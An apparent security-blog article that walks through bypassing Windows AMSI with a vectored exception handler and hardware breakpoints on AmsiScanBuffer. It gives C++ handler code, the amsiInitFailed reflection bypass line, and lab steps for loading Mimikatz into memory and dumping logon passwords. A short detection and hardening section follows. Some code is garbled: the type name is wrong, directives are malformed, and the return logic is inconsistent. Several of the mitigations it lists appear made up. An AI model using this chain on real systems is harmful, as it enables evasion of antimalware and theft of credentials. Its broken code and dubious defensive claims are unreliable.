Listen to this Post

Introduction:
Antimalware Scan Interface (AMSI) is a security standard that allows applications and services to integrate with any antimalware product on a system, commonly used by PowerShell and VBA to scan scripts before execution. However, understanding Windows internals—specifically Vectored Exception Handling (VEH) and hardware breakpoints—enables attackers to intercept critical functions like `AmsiScanBuffer()` and alter their return values, effectively turning a “detected” verdict into “clean” and bypassing AMSI entirely. This article dissects a real-world technique that combines VEH, hardware breakpoints, and memory injection to disable AMSI and load tools like Mimikatz, while providing defenders with detection and mitigation strategies.
Learning Objectives:
- Understand how Windows Vectored Exception Handling (VEH) intercepts hardware breakpoints before Structured Exception Handling (SEH).
- Learn to set hardware breakpoints on the `AmsiScanBuffer()` API to manipulate its return value.
- Implement a functional AMSI bypass using VEH and inject arbitrary shellcode (e.g., Mimikatz) into memory.
You Should Know:
1. AMSI Internals and the Target Function
AMSI operates by calling `AmsiScanBuffer()` in `amsi.dll` to inspect script content. The function returns an `AMSI_RESULT` enum: `AMSI_RESULT_CLEAN` (0), `AMSI_RESULT_NOT_DETECTED` (1), `AMSI_RESULT_BLOCKED_BY_ADMIN_START` (16384), and `AMSI_RESULT_DETECTED` (32768). The bypass goal is to force the return value to `AMSI_RESULT_CLEAN` (0) regardless of malicious content.
Test AMSI detection in PowerShell:
This string contains "amsi" and will trigger detection
[bash].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
If AMSI is active, the above is blocked. After bypass, it executes.
2. Vectored Exception Handling (VEH) Explained
VEH is a per-thread or global handler that receives exceptions before SEH. Unlike SEH, VEH is not frame-based and can handle hardware breakpoints (single-step, access violations, etc.) with higher priority. By registering a vectored handler via AddVectoredExceptionHandler(), we can intercept `EXCEPTION_SINGLE_STEP` (0x80000004) triggered by a hardware breakpoint.
Registering a VEH in C++:
LONG WINAPI VectoredHandler(PEXCEPTION_POINTERS ExceptionInfo) {
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP) {
// Modify context here
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
// In main
AddVectoredExceptionHandler(1, VectoredHandler);
3. Setting Hardware Breakpoints on AmsiScanBuffer
Hardware breakpoints use debug registers (DR0–DR3) to monitor execution addresses. We need to set a breakpoint at the entry of `AmsiScanBuffer()` and another at its return instruction (or modify the return value directly in the context). This requires calling `GetThreadContext()` and `SetThreadContext()` on the current thread.
Step-by-step guide:
1. Obtain `AmsiScanBuffer` address using `GetProcAddress(LoadLibraryA(“amsi.dll”), “AmsiScanBuffer”)`.
- Suspend the target thread (or current thread) and retrieve its context.
- Set `Context.Dr0` = address of
AmsiScanBuffer, `Context.Dr7` = 0x1 (enable breakpoint). - Set a breakpoint on the function’s epilogue or hook the return opcode to modify RAX/EAX.
Windows API commands:
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS | CONTEXT_INTEGER;
GetThreadContext(GetCurrentThread(), &ctx);
ctx.Dr0 = (DWORD64)amsiScanBufferAddr;
ctx.Dr7 |= 1; // Local enable for DR0
SetThreadContext(GetCurrentThread(), &ctx);
4. Implementing the AMSI Bypass via VEH
When `AmsiScanBuffer()` is executed, the hardware breakpoint triggers EXCEPTION_SINGLE_STEP. Our VEH handler must:
– Detect that the exception occurred at the breakpoint address.
– Modify the return value register (RAX on x64, EAX on x86) to `AMSI_RESULT_CLEAN` (0).
– Increment the instruction pointer to skip the original return logic if needed.
Full VEH handler example:
LONG WINAPI AmsiBypassHandler(PEXCEPTION_POINTERS ExceptionInfo) {
if (ExceptionInfo->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP &&
ExceptionInfo->ExceptionRecord->ExceptionAddress == (PVOID)amsiScanBufferAddr) {
// Set return register to 0 (clean)
ifdef _WIN64
ExceptionInfo->ContextRecord->Rax = 0;
ExceptionInfo->ContextRecord->Rip += 2; // Skip the 'ret' instruction size
else
ExceptionInfo->ContextRecord->Eax = 0;
ExceptionInfo->ContextRecord->Eip += 1;
endif
// Disable the hardware breakpoint to avoid infinite loop
ExceptionInfo->ContextRecord->Dr7 &= ~1;
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
5. Injecting Mimikatz After Bypass
Once AMSI is bypassed, PowerShell or any .NET application can load Mimikatz without triggering scans. A common method is using reflection to load a compiled Mimikatz executable into memory.
PowerShell command after bypass:
Bypass AMSI via VEH injection (executable already ran)
Then load Mimikatz from base64-encoded bytes
$mimiBytes = [System.Convert]::FromBase64String("<base64 of mimikatz.exe>")
Alternatively, use `Invoke-ReflectivePEInjection` from PowerSploit. Ensure the AMSI bypass is active before invoking.
6. Mitigations and Detection for Blue Teams
Detecting this technique requires monitoring for abnormal debug register usage and VEH registration.
Detection commands (Windows):
- Check for threads with hardware breakpoints: Use `!thread` in WinDbg or write a kernel driver to enumerate `KTHREAD` structure.
- Monitor `AddVectoredExceptionHandler` calls via ETW (Microsoft-Windows-Kernel-Process provider).
- Enable AMSI logging and hooking at the kernel level using a minifilter driver.
Linux (cross-platform analogy): While this is Windows-specific, similar concepts apply to `ptrace` and `sigaction` for exception handling.
Hardening:
- Disable VEH registration for non-administrative processes via `SetProcessMitigationPolicy` with
ProcessSignaturePolicy. - Use Microsoft Defender for Endpoint’s attack surface reduction rules to block reflective DLL injection.
- Monitor for `amsi.dll` being loaded into unusual processes.
7. Practical Demonstration Steps (Lab Setup)
Prerequisites: Windows 10/11 VM with AMSI enabled, Visual Studio (or MinGW), PowerShell 5+.
Steps:
- Compile the C++ VEH bypass code as a DLL or executable.
- Run the compiled binary – it will register the VEH and set hardware breakpoints on
AmsiScanBuffer. - Open a new PowerShell window and attempt the malicious string from Section 1 – it will not be blocked.
- Execute Mimikatz injection using reflection (ensure Defender is not killing the process).
5. Verify with `sekurlsa::logonpasswords`.
Alternative Linux command for education (ptrace):
On Linux, similar exception interception using ptrace sudo gdb -p <pid> (gdb) break 0xaddress (gdb) commands <blockquote> set $rax = 0 continue end
What Undercode Say:
- Key Takeaway 1: Vectored Exception Handling provides a stealthy, user-mode bypass for AMSI that does not require patching disk or memory signatures, making it harder for static AV to detect.
- Key Takeaway 2: Hardware breakpoints are underutilized in offensive tooling but offer precise control over API return values; defenders must monitor debug registers and VEH registration as part of threat hunting.
- Analysis: This technique highlights the fragility of user-space security hooks. While Microsoft has improved AMSI with kernel callbacks (AMSI v2), VEH still works because it operates at the exception dispatch layer before the scanned content is evaluated. Combining this with reflective injection creates a powerful evasion chain. Red teams should note that modern EDRs may still detect via memory scanning or behavioral analysis of Mimikatz patterns. Blue teams must shift to kernel-level instrumentation and anomaly detection on exception handler chains.
Prediction:
As Microsoft continues to harden AMSI, future iterations will likely disable VEH for sensitive DLLs like `amsi.dll` by enforcing stricter process mitigation policies, such as `DisableExceptionChainValidation` combined with Control Flow Guard. Attackers will then move to kernel callbacks or direct system call invocations to bypass AMSI without exception handling. Meanwhile, defenders will adopt ETW for real-time detection of hardware breakpoint setup and VEH registration, forcing red teams to rely on more sophisticated in-memory only techniques that avoid exception generation altogether. The cat-and-mouse game will escalate into the kernel, where both sides will increasingly leverage hypervisor-based monitoring and virtualized security features.
▶️ Related Video (76% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Divyanshu Diwakar – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


